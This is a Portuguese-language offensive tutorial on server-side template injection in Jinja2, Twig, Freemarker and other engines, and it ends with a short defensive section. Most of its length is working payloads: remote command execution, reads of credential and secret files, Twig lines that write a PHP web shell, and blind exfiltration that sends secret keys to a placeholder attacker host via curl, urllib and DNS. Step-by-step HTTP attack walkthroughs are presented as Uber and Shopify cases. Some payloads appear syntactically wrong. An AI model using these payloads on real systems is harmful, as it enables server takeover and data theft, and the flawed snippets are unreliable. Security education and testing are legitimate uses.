🎯 Por que isso importa

A injeção de template do lado do servidor representa uma das vulnerabilidades mais devastadoras, porém frequentemente negligenciadas, em aplicações web modernas. Motores de template são onipresentes no desenvolvimento web, alimentando desde renderização de conteúdo simples até lógica de negócios complexa em frameworks como Django, Flask, Symfony e Spring Boot. Quando a entrada do usuário atinge o processamento de templates sem sanitização adequada, atacantes podem executar código arbitrário no servidor com os mesmos privilégios da aplicação web.

🔍 O que você vai aprender

Você dominará a abordagem sistemática para identificar e explorar vulnerabilidades SSTI em diferentes motores de template incluindo Jinja2, Twig, Freemarker, Handlebars e Smarty. Isso inclui compreender a exploração de sintaxe de templates, payloads poliglotas que funcionam em múltiplos motores, técnicas de detecção SSTI cega e métodos avançados para contornar validação de entrada e mecanismos de sandboxing.

🚀 Sua primeira vitória

Nos próximos 20 minutos, você explorará com sucesso uma vulnerabilidade SSTI para alcançar execução remota de código em uma aplicação web, demonstrando como uma renderização de template aparentemente inocente pode ser transformada em um vetor de comprometimento completo do servidor.

🔧 Experimente isso agora

Teste detecção SSTI básica em múltiplos motores de template

# Payloads de detecção SSTI básicos
# Funcionam em múltiplos motores de template

# Avaliação de expressões matemáticas
${{7*7}}          # Jinja2, Twig
${7*7}            # Freemarker, Velocity
{{7*7}}           # Handlebars, Mustache
{7*7}             # Smarty

# Payload poliglota para detecção ampla
${{7*'7'}} ${7*'7'} {{7*'7'}} {7*'7'}

# Fingerprinting do motor de template
{{7*'7'}}         # Jinja2 → "7777777"
${7*'7'}          # Freemarker → "7777777"
{{7*'7'}}         # Handlebars → "7*7" (sem avaliação)
{7*'7'}           # Smarty → "7777777"

# Detecção avançada com funções integradas
{{config}}                    # Objeto config Jinja2
${.now}                       # Hora atual Freemarker
{{this}}                      # Contexto Handlebars
{$smarty.version}             # Info versão Smarty

# Teste de acesso ao sistema de arquivos
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}  # Jinja2
${"freemarker.template.utility.Execute"?new()('cat /etc/passwd')}      # Freemarker

Você verá: Como diferentes motores de template processam e avaliam expressões, permitindo identificar vulnerabilidades SSTI e determinar o motor de template específico em uso para exploração direcionada.

SSTI ocorre quando a entrada do usuário é incorporada diretamente no código do template em vez de ser passada como dados

Como motores de template criam superfícies de ataque vulneráveis

Motores de template fornecem recursos poderosos para desenvolvedores web incluindo interpolação de variáveis, lógica condicional, loops, filtros e acesso a funções e objetos integrados. Esses recursos são projetados para facilitar a geração de conteúdo dinâmico, mas também criam riscos de segurança significativos quando a entrada do usuário é processada como código de template.

A distinção crítica é entre tratar a entrada do usuário como dados versus código de template. Implementações seguras passam a entrada do usuário como variáveis de template: render_template('welcome.html', username=user_input) . Implementações vulneráveis concatenam a entrada do usuário diretamente nas strings de template: template = "Hello " + user_input + "!"; render_template_string(template) .

O que torna SSTI particularmente perigoso é que motores de template frequentemente têm acesso a funcionalidades poderosas incluindo operações no sistema de arquivos, capacidades de rede e a capacidade de instanciar objetos arbitrários. Motores de template modernos podem implementar sandboxing, mas essas proteções são frequentemente contornáveis através do uso criativo de reflexão, herança e funções integradas.

A complexidade dos recursos dos motores de template cria uma vasta superfície de ataque. Cada motor tem sua própria sintaxe, objetos integrados e mecanismos de segurança, exigindo que atacantes entendam técnicas de exploração específicas de cada motor. No entanto, o princípio fundamental permanece o mesmo: aproveitar funcionalidades de template para alcançar execução de código além do escopo pretendido.

Por que SSTI é crítico no desenvolvimento web moderno

Motores de template são componentes fundamentais de frameworks web modernos incluindo Django (Django Template Language), Flask (Jinja2), Symfony (Twig), Spring Boot (Thymeleaf/Freemarker), Express.js (Handlebars) e muitos outros. Documentação Flask , Documentação Symfony , Documentação Spring Boot À medida que aplicações web se tornam mais dinâmicas e orientadas ao usuário, a tentação de permitir personalização de templates pelos usuários ou geração dinâmica de templates aumenta.

Padrões vulneráveis comuns incluem personalização de templates de email, geração de relatórios com formatação definida pelo usuário, sistemas de gerenciamento de conteúdo com temas personalizados e aplicações que permitem aos usuários criar páginas ou widgets personalizados. Cada um desses representa um potencial vetor de ataque SSTI onde a entrada do usuário pode alcançar o processamento de templates.

A mudança para arquiteturas CMS headless, geradores de sites estáticos e APIs baseadas em templates expandiu a superfície de ataque para vulnerabilidades SSTI. Muitos desenvolvedores desconhecem as implicações de segurança da geração dinâmica de templates, levando a implementações vulneráveis generalizadas em aplicações legadas e modernas.

A metodologia de exploração SSTI

Especialistas em segurança seguem uma abordagem sistemática para testes SSTI que progride da detecção através da identificação do motor até a exploração. Esta metodologia garante cobertura abrangente e maximiza a chance de exploração bem-sucedida mesmo quando enfrentando mecanismos de filtragem de entrada ou sandboxing.

Etapa 1: Detecção de injeção de template - Teste campos de entrada com expressões matemáticas e sintaxe específica de template para identificar pontos de injeção potenciais e confirmar processamento de template.

Etapa 2: Fingerprinting do motor de template - Use sintaxe específica do motor e padrões de erro para identificar o motor de template exato e versão em uso.

Etapa 3: Análise de contexto - Determine o contexto do template, objetos disponíveis e quaisquer mecanismos de filtragem ou sandboxing em vigor.

Etapa 4: Desenvolvimento de exploração - Crie payloads específicos do motor para alcançar execução de código, acesso a arquivos ou outros objetivos enquanto contorna restrições de segurança.

Etapa 5: Avaliação de impacto - Demonstre o escopo completo de comprometimento do servidor possível através da vulnerabilidade de injeção de template.

Injeção de template Jinja2

Jinja2 é um motor de template popular em aplicações web Python, usado principalmente por Flask e outros frameworks Python. Entender a exploração Jinja2 fornece a base para ataques SSTI contra aplicações baseadas em Python e demonstra os princípios fundamentais aplicáveis a outros motores de template.

# Detecção e fingerprinting básico
{{7*7}}                               # Retorna: 49
{{7*'7'}}                             # Retorna: 7777777
{{config}}                            # Objeto config Flask
{{self}}                              # Contexto do template

# Introspecção de objetos para execução de código
{{''.__class__}}                      # <class 'str'>
{{''.__class__.__mro__}}              # Ordem de Resolução de Métodos
{{''.__class__.__mro__[1]}}           # <class 'object'>
{{''.__class__.__mro__[1].__subclasses__()}}  # Todas subclasses de object

# Encontrando subclasses úteis
{% for i in range(500) %}
  {% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
    Index: {{i}}
  {% endif %}
{% endfor %}

# Execução de código via objeto config (Flask)
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{config.__class__.__init__.__globals__['os'].system('id')}}

# Alternativa: Acesso via globals url_for
{{url_for.__globals__['os'].popen('cat /etc/passwd').read()}}
{{get_flashed_messages.__globals__['os'].system('whoami')}}

# Acesso ao sistema de arquivos via built-ins
{{config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{lipsum.__globals__['os'].popen('cat app.py').read()}}

# Acesso a variáveis de ambiente
{{config.__class__.__init__.__globals__['os'].environ}}

# Introspecção da aplicação Flask
{{config.SECRET_KEY}}                 # Chave secreta Flask
{{url_for.__globals__}}               # Globals Flask
{{get_flashed_messages.__globals__}}  # Mais internos Flask

Injeção de template Twig

Twig é o motor de template principal do framework Symfony PHP e é amplamente usado em aplicações PHP. A exploração Twig aproveita as capacidades de reflexão do PHP e recursos orientados a objetos para alcançar execução de código e acesso ao sistema de arquivos.

# Detecção e fingerprinting básico
{{7*7}}                               # Retorna: 49
{{7*'7'}}                             # Retorna: 7777777
{{dump(app)}}                         # Objeto aplicação Symfony

# Introspecção de objetos e descoberta de métodos
{{_self}}                             # Objeto template
{{_self.getTemplateName()}}           # Nome do template atual
{{_context}}                          # Variáveis de contexto do template

# Acesso ao sistema de arquivos via abuso de filtros
{{'/etc/passwd'|file_excerpt(1,30)}}  # Ler linhas 1-30 do arquivo
{{'<?php system($_GET["cmd"]); ?>'|file_put_contents('shell.php')}}  # Escrever web shell

# Execução de código via encadeamento de filtros
{{'id'|filter('system')}}             # Executar comando do sistema
{{'cat /etc/passwd'|filter('shell_exec')}}  # Execução de comando shell

# Acesso a ambiente e configuração
{{app.getKernel().getContainer().getParameter('kernel.secret')}}  # Segredo Symfony
{{app.getKernel().getContainer().getParameter('database_url')}}   # Config banco de dados

# Instanciação de classe para execução de código
{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\CodeExtension').abortUnless(false, 'system("whoami")')}}

# Métodos de execução alternativos
{{_self.env.getFilter('map').getCallable()('system', ['id'])}}
{{['id']|map('system')|join}}

# Inclusão de arquivos e manipulação de templates
{{include('/etc/passwd')}}            # Incluir arquivos arbitrários
{{source('/proc/self/environ')}}      # Ler variáveis de ambiente

# Contornar restrições de segurança
{{(app.request.server.get('DOCUMENT_ROOT')~'/shell.php')|file_put_contents('<?php system($_GET["c"]); ?>')}}

Injeção de template Freemarker

Apache Freemarker é comumente usado em aplicações Java, particularmente com Spring Boot. A exploração Freemarker aproveita as capacidades de reflexão do Java e objetos integrados para alcançar execução de código e acessar dados sensíveis da aplicação.

# Detecção e fingerprinting básico
${7*7}                                # Retorna: 49
${7*"7"}                              # Retorna: 7777777
${.now}                               # Timestamp atual
${.version}                           # Versão Freemarker

# Instanciação de objetos para execução de código
${"freemarker.template.utility.Execute"?new()}
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

# Execução alternativa via ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()."java.lang.ProcessBuilder"(["id"]).start()}

# Acesso ao sistema de arquivos
${"java.io.FileReader"?new("/etc/passwd")}
${"java.nio.file.Files"?new().readAllLines("java.nio.file.Paths"?new().get("/etc/passwd"))}

# Exploração específica Spring Boot
${"org.springframework.util.StreamUtils"?new().copyToString("java.io.FileInputStream"?new("/etc/passwd"),"java.nio.charset.Charset"?new().forName("UTF-8"))}

# Acesso a ambiente e propriedades do sistema
${"java.lang.System"?new().getProperty("user.home")}
${"java.lang.System"?new().getenv()}

# Abuso de ClassLoader e reflexão
${"java.lang.Class"?new().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")}

# Funções perigosas integradas
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/version")}

# Acesso ao contexto de aplicação Spring
${"@org.springframework.web.context.support.WebApplicationContextUtils@getRequiredWebApplicationContext(servletContext)"}

# Contornar sandboxing com reflexão
${"java.lang.Class"?new().forName("freemarker.core.Environment").getDeclaredField("configuration").get(.current_template_name).getSharedVariable("execute")("whoami")}

Detecção e exploração SSTI cega

Quando a saída do template não é diretamente visível, técnicas SSTI cegas permitem confirmação de vulnerabilidades e exfiltração de dados através de métodos de canal lateral. Essas técnicas são essenciais para testar aplicações de produção onde os resultados da renderização de templates podem não ser imediatamente aparentes.

# Payloads de delay de tempo para diferentes motores

# Delays de tempo Jinja2
{% for i in range(10000000) %}{% endfor %}
{{config.__class__.__init__.__globals__['time'].sleep(5)}}

# Delays de tempo Twig
{% for i in 0..10000000 %}{% endfor %}
{{'sleep 5'|filter('system')}}

# Delays de tempo Freemarker
<#list 1..10000000 as i></#list>
${"java.lang.Thread"?new().sleep(5000)}

# Delays de tempo Handlebars (Node.js)
{{#each (range 1 10000000)}}{{/each}}

# Delays de tempo condicionais para extração de dados
# Delay condicional Jinja2
{% if config.SECRET_KEY[0] == 'a' %}
  {% for i in range(10000000) %}{% endfor %}
{% endif %}

# Extrair dados caractere por caractere
{% if config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()[0] == 'r' %}
  {{config.__class__.__init__.__globals__['time'].sleep(3)}}
{% endif %}

# Exfiltração de dados baseada em HTTP

# Exfiltração HTTP Jinja2 via config
{{config.__class__.__init__.__globals__['urllib'].request.urlopen('http://<attacker>/collect?data='+''.join([hex(ord(c))[2:] for c in config.SECRET_KEY]))}}

# Exfiltração baseada em curl
{{config.__class__.__init__.__globals__['os'].popen('curl http://<attacker>/ssti?data=$(whoami | base64)').read()}}

# Exfiltração baseada em DNS
{{config.__class__.__init__.__globals__['os'].popen('nslookup ' + config.SECRET_KEY + '.<attacker>').read()}}

# Exfiltração HTTP Twig
{{'curl -X POST -d "' ~ app.getKernel().getContainer().getParameter('kernel.secret') ~ '" http://<attacker>/collect'|filter('system')}}

# Exfiltração HTTP Freemarker
${"java.net.URL"?new("http://<attacker>/collect?data=" + "java.lang.System"?new().getProperty("user.name")).openConnection().getInputStream()}

# Confirmação baseada em arquivo
# Escrita de arquivo Jinja2
{{config.__class__.__init__.__globals__['__builtins__']['open']('/tmp/ssti-' + config.SECRET_KEY[:10], 'w').write('SSTI Confirmed')}}

# Divulgação de informações baseada em erro
{{this_variable_does_not_exist}}      # Disparar erro com info de contexto
{{config.undefinedmethod()}}         # Erro de método com contexto config

RCE Uber via SSTI Jinja2 (2016)

O pesquisador de segurança Orange Tsai descobriu uma vulnerabilidade SSTI crítica nas ferramentas internas da Uber que permitia execução remota de código através de injeção de template Jinja2. A vulnerabilidade foi encontrada em uma aplicação Flask que processava entrada do usuário diretamente na renderização de templates, permitindo comprometimento completo do servidor através de avaliação de expressões matemáticas e introspecção de objetos Python. Fonte: Blog Orange Tsai

# Exploração SSTI das ferramentas internas Uber
# Injeção de template Jinja2 no processamento do campo nome

# Etapa 1: Detecção SSTI inicial
# Testando expressões matemáticas na entrada do usuário
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

name={{7*7}}
# Resposta exibe: "Hello 49" confirmando processamento de template

# Etapa 2: Fingerprinting do motor de template
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

name={{7*'7'}}
# Resposta mostra: "Hello 7777777" confirmando Jinja2

# Etapa 3: Introspecção de objetos Python
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

name={{''.__class__.__mro__[1].__subclasses__()}}
# Enumerar subclasses Python disponíveis

# Etapa 4: Execução remota de código
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

name={{''.__class__.__mro__[1].__subclasses__()[242]('id', shell=True, stdout=-1).communicate()[0]}}
# Executar comandos do sistema via subprocess.Popen

# Etapa 5: Acesso à configuração da aplicação
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

name={{config.SECRET_KEY}}
# Acessar segredos e configuração da aplicação Flask

Impacto: Esta vulnerabilidade permitiu comprometimento completo do servidor através de personalização de perfil de usuário. A pesquisa demonstrou como SSTI pode fornecer acesso imediato à configuração da aplicação e arquivos do sistema, destacando a importância crítica de validação adequada de entrada no processamento de templates e recursos de conteúdo personalizável pelo usuário.

SSTI Handlebars do painel de parceiros Shopify (2019)

O painel de parceiros da Shopify experimentou uma vulnerabilidade SSTI em seu recurso de personalização de templates de email usando o motor de template Handlebars. Pesquisadores de segurança identificaram que entrada controlada pelo usuário em templates de email era processada sem sanitização adequada, permitindo injeção de template que poderia levar a acesso a dados sensíveis de comerciantes. A vulnerabilidade foi divulgada de forma responsável e rapidamente corrigida pela equipe de segurança da Shopify. Fonte: Relatório HackerOne

# Exploração SSTI do painel de parceiros Shopify
# Injeção de template Handlebars na personalização de emails

# Etapa 1: Acessar editor de templates de email
# Navegar para templates de email do painel de parceiros
GET /partners/email_templates/new HTTP/1.1
Host: partners.shopify.com
Cookie: [authenticated_session]

# Etapa 2: Detecção de injeção de template
# Testando avaliação de expressões Handlebars
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json

{"template": "Hello {{7*7}}"}
# Resposta: Preview do email mostra "Hello 49"

# Etapa 3: Exploração de contexto
# Descobrindo variáveis de template disponíveis
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json

{"template": "{{this}}"}
# Resposta revela contexto do template e objetos disponíveis

# Etapa 4: Acesso a dados sensíveis
# Acessando informações de comerciantes através do contexto do template
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json

{"template": "{{merchant.api_key}}"}
# Potencial acesso a credenciais de API de comerciantes

# Etapa 5: Abuso de funções helper
# Explorando helpers Handlebars para execução de código
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json

{"template": "{{#with this}}{{lookup ../this 'constructor'}}{{/with}}"}
# Tentativa de poluição de protótipo ou manipulação de objeto

Impacto: Esta vulnerabilidade destacou os riscos de injeção de template em plataformas de comerciantes, onde acesso a dados comerciais sensíveis poderia comprometer múltiplas partes. Shopify implementou sanitização estrita de entrada e sandboxing de templates para prevenir problemas similares.

Padrões de ataque SSTI comuns

Pesquisa de segurança e vulnerabilidades divulgadas revelam padrões consistentes em como vulnerabilidades SSTI aparecem em diferentes aplicações e plataformas. Entender esses padrões ajuda equipes de segurança a identificar pontos de injeção potenciais e implementar proteções apropriadas durante fases de desenvolvimento e teste.

# Padrões de implementação vulneráveis comuns
# Baseados em análise de vulnerabilidades SSTI divulgadas

# Padrão 1: Personalização de templates de email
# Plataformas e-commerce e marketing comumente vulneráveis
# Entrada do usuário concatenada diretamente em templates de email

def send_custom_email(user_input, customer_data):
    # VULNERÁVEL: Concatenação direta de template
    template = f"Hello {user_input}, welcome to our store!"
    return render_template_string(template, customer=customer_data)

# Padrão 2: Geração de relatórios com formatação do usuário
# Ferramentas de business intelligence e analytics
# Templates definidos pelo usuário para apresentação de dados

def generate_report(template_content, report_data):
    # VULNERÁVEL: Conteúdo de template do usuário processado diretamente
    template = Template(template_content)
    return template.render(data=report_data)

# Padrão 3: Gerenciamento de conteúdo e perfis de usuário
# Plataformas sociais e CMS permitindo conteúdo personalizado
# Bios de perfil, assinaturas e páginas personalizadas

def update_user_bio(bio_content, user_id):
    # VULNERÁVEL: Conteúdo bio processado como template
    template = f"<div class='bio'>{{{{ {bio_content} }}}}</div>"
    return render_template_string(template, user=get_user(user_id))

# Padrão 4: Construtores de temas e templates dinâmicos
# Construtores de websites e ferramentas de personalização de temas
# Templates e temas criados pelo usuário

def save_custom_theme(theme_template, theme_vars):
    # VULNERÁVEL: Template de tema processado sem validação
    return render_template_string(theme_template, **theme_vars)

# Padrão 5: Páginas de configuração e settings
# Painéis de admin com mensagens personalizáveis
# Notificações do sistema e templates de alerta

def save_notification_template(template, notification_data):
    # VULNERÁVEL: Template fornecido pelo admin processado diretamente
    return render_template_string(template, **notification_data)

Temas comuns: A maioria das vulnerabilidades SSTI do mundo real ocorre em recursos que permitem personalização pelo usuário de templates de conteúdo, incluindo sistemas de email, geradores de relatórios, interfaces de gerenciamento de conteúdo e construtores de temas. Esses padrões enfatizam a necessidade de validação cuidadosa de entrada e práticas de renderização de templates seguras em recursos de personalização voltados ao usuário.

Defesa principal: separar código de template dos dados do usuário

A proteção mais eficaz contra SSTI é garantir que entrada do usuário nunca seja tratada como código de template. Este princípio fundamental requer uma separação arquitetural clara entre lógica de template e dados fornecidos pelo usuário, impedindo que entrada do usuário seja interpretada como sintaxe de template executável.

• Use templates parametrizados - Sempre passe entrada do usuário como variáveis de template em vez de concatenar em strings de template
• Evite geração dinâmica de templates - Nunca construa código de template usando entrada do usuário ou permita que usuários modifiquem sintaxe de template
• Pré-compilação de templates - Use arquivos de template estáticos que são compilados em tempo de build em vez de processamento de strings de template em runtime
• Validação e sanitização de entrada - Implemente validação estrita para qualquer entrada do usuário que possa alcançar processamento de template
• Sandboxing do motor de template - Habilite e configure corretamente as restrições de segurança fornecidas pelos motores de template

Práticas de implementação de templates seguras

Quando funcionalidade de template deve incluir elementos personalizáveis pelo usuário, implemente múltiplas camadas de controles de segurança que limitam capacidades de template e restringem acesso a funções e objetos perigosos.

• Contexto de template restrito - Forneça apenas variáveis e funções necessárias ao contexto de execução do template
• Whitelist de funções - Permita apenas funções e filtros seguros e predefinidos no processamento de templates
• Restrições de acesso a objetos - Impeça acesso a capacidades de reflexão, funções do sistema de arquivos e objetos do sistema
• Validação de sintaxe de template - Valide elementos de template fornecidos pelo usuário contra regras de sintaxe estritas
• Isolamento do ambiente de execução - Execute processamento de template em ambientes restritos com acesso limitado ao sistema

Estratégias de proteção avançadas

Proteção SSTI abrangente requer múltiplas camadas defensivas que abordam tanto ataques diretos de injeção de template quanto tentativas sofisticadas de bypass visando mecanismos de segurança de motores de template.

• Implementação de Content Security Policy - Use headers CSP para limitar o impacto de injeção de template bem-sucedida
• Monitoramento em nível de aplicação - Implemente detecção para padrões suspeitos de processamento de template e condições de erro
• Atualizações de segurança regulares - Mantenha motores de template atualizados para abordar vulnerabilidades conhecidas e melhorias de segurança
• Revisão de código e testes - Revise sistematicamente padrões de uso de template e teste vulnerabilidades de injeção
• Princípio do menor privilégio - Execute aplicações com permissões mínimas necessárias para funcionalidade de template legítima
• Controles de saída de rede - Restrinja acesso de rede de saída para prevenir exfiltração de dados através de injeção de template